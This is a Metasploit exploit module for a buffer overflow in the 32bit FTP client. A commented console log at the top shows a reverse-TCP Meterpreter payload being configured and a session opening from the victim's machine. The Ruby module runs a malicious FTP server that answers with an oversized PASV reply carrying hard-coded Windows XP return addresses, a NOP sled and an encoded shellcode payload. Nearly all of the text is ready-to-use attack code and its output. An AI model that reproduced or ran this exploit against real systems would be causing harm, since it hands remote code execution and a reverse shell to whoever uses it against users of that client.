#msf > use exploit/windows/ftp/32bitftp_pasv_reply
#msf exploit(32bitftp_pasv) > set PAYLOAD windows/meterpreter/reverse_tcp 
#PAYLOAD => windows/meterpreter/reverse_tcp                               
#msf exploit(32bitftp_pasv) > set LHOST 192.168.1.2 
#LHOST => 192.168.1.2                               
#msf exploit(32bitftp_pasv) > exploit               
#[*] Exploit running as background job.             
#msf exploit(32bitftp_pasv) >                       
#[*] Handler binding to LHOST 0.0.0.0               
#[*] Started reverse handler                        
#[*] Server started.    
# Victim connecting to the malicious ftp server.                            
#[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
#[*] Sending stage (2650 bytes)                                         
#[*] Sleeping before handling stage...                                  
#[*] Uploading DLL (75787 bytes)...                                     
#[*] Upload completed.                                                  
#[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.3:1137)

##
# $Id: 32bitftp_pasv_reply.rb 6528 2009-05-06 16:00:00Z  $
##
##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '32bit FTP (PASV) Reply Client Remote overflow Exploit',
      'Description'    => %q{
        This module exploits a buffer overflow in the 32bit FTP 09.04.24
        client that is triggered through an excessively long PASV reply command
      },
      'Author'    => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 6528 $',
      'References'     =>
        [
          [ 'URL', 'http://www.milw0rm.com/exploits/8611' ],
          [ 'BID', '34838' ],
        ],
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0a\x0d\x20",
          'EncoderType'   => Msf::Encoder::Type::AlphanumMixed, 
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
        # Tested against xp SP3 english
          [ 'Windows XP SP3 English',  { 'Ret' => 0x7c868667 }  ], # jmp esp kernel32.dll
          [ 'Windows XP SP2 French',  { 'Ret' => 0x7C82385D }  ], # call esp kernel32.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mai 06 2009',
      'DefaultTarget'  => 0))

    register_options(
      [ 
        OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),
        OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),
      ], self.class)
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)  

    buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"
    client.put(buffer)
  end
  
  def on_client_data(client)
  
  
    client.get_once

    user = "331 Please specify the password.\r\n"
    client.put(user)
    
    client.get_once
    pass = "230 Login successful.\r\n"
    client.put(pass)
    
    client.get_once
    pwd = "257 \"/\"\r\n"
    client.put(pwd)
    
    client.get_once
    type = "200 Switching to ASCII mode.\r\n"
    client.put(type)
        
    client.get_once
    pasv = "227 Entering Passive Mode ("
    pasv << rand_text_numeric(966)
    pasv << [target.ret].pack('V')
    pasv << make_nops(20)
    pasv << payload.encoded
    pasv << ")\r\n"
    
    client.put(pasv)
    
    handler(client)
    service.close_client(client)
  end
end